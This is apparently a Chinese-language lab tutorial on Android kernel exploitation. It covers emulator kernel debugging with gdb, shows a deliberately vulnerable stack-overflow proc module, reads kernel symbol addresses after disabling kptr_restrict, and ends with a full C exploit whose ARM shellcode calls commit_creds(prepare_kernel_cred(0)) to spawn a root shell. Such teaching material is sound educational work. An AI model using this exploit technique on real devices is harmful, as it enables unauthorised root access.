Android的内核采用的是 Linux 内核,所以在Android 内核中进行漏洞利用其实和在 一般的 x86平台下的linux内核中进行利用差不多。主要区别在于Android下使用的是arm汇编以及环境的搭建方面。本文对我最近的实践做一个分享,其实很简单。 ... Reading symbols from /goldfish/vmlinux...done. (gdb) 然后连接 模拟器里面的 调试端口 (gdb) target remote :1234 Remote debugging using :1234 cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74 74movpc, lr (gdb) 如果能看到这样的输出说明已经可以正常进行内核调试了。 内核栈溢出漏洞利用 首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c: #include #include #include #include #include #include #define MAX_LENGTH 64 MODULE_LICENSE("GPL"); MODULE_AUTHOR("Ryan Welton"); MODULE_DESCRIPTION("Stack Buffer Overflow Example"); static struct proc_dir_entry *stack_buffer_proc_entry; int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) { char buf[MAX_LENGTH]; if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); return -EFAULT; } return count; } static int __init stack_buffer_proc_init(void) { stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); stack_buffer_proc_entry->write_proc = proc_entry_write; printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); return 0; } static void __exit stack_buffer_proc_exit(void) { if (stack_buffer_proc_entry) { remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); } printk(KERN_INFO "vuln_stack_proc_entry removed\n"); } module_init(stack_buffer_proc_init); module_exit(stack_buffer_proc_exit); 上述代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。 首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。 echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow ![]() 可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用 commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。具体可以看这里。 当启用 kptr_restrict 是我们不能获取内核符号地址的。 root@generic:/ # cat /proc/kallsyms | grep commit_creds 00000000 T commit_creds 在本文中,把它禁用掉,不管他。 root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict root@generic:/ # cat /proc/kallsyms | grep commit_creds c0039834 T commit_creds root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred c0039d34 T prepare_kernel_cred 禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。 至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。 所以现在的利用思路是: 1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限 2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式 3.然后执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell 最后的 exp : #include #include #include #include #include #define MAX 64 int open_file(void) { int fd = open("/proc/stack_buffer_overflow", O_RDWR); if (fd == -1) err(1, "open"); return fd; } void payload(void) { printf("[+] enjoy the shell\n"); execl("/system/bin/sh", "sh", NULL); } extern uint32_t shellCode[]; asm ( " .text\n" " .align 2\n" " .code 32\n" " .globl shellCode\n\t" "shellCode:\n\t" // commit_creds(prepare_kernel_cred(0)); // -> get root "LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr "MOV R0, #0\n\t" "BLX R3\n\t" "LDR R3, =0xc0039834\n\t" //commit_creds addr "BLX R3\n\t" "mov r3, #0x40000010\n\t" "MSR CPSR_c,R3\n\t" "LDR R3, =0x879c\n\t" // payload function addr "BLX R3\n\t" ); void trigger_vuln(int fd) { #define MAX_PAYLOAD (MAX + 2 * sizeof(void*) ) char buf[MAX_PAYLOAD]; memset(buf, 'A', sizeof(buf)); void * pc = buf + MAX + 1 * sizeof(void*); printf("shellcdoe addr: %p\n", shellCode); printf("payload:%p\n", payload); *(void **)pc = (void *) shellCode; //ret addr /* Kaboom! */ write(fd, buf, sizeof(buf) ); } int main(void) { int fd; fd = open_file(); trigger_vuln(fd); payload(); close(fd); } ![]() |
|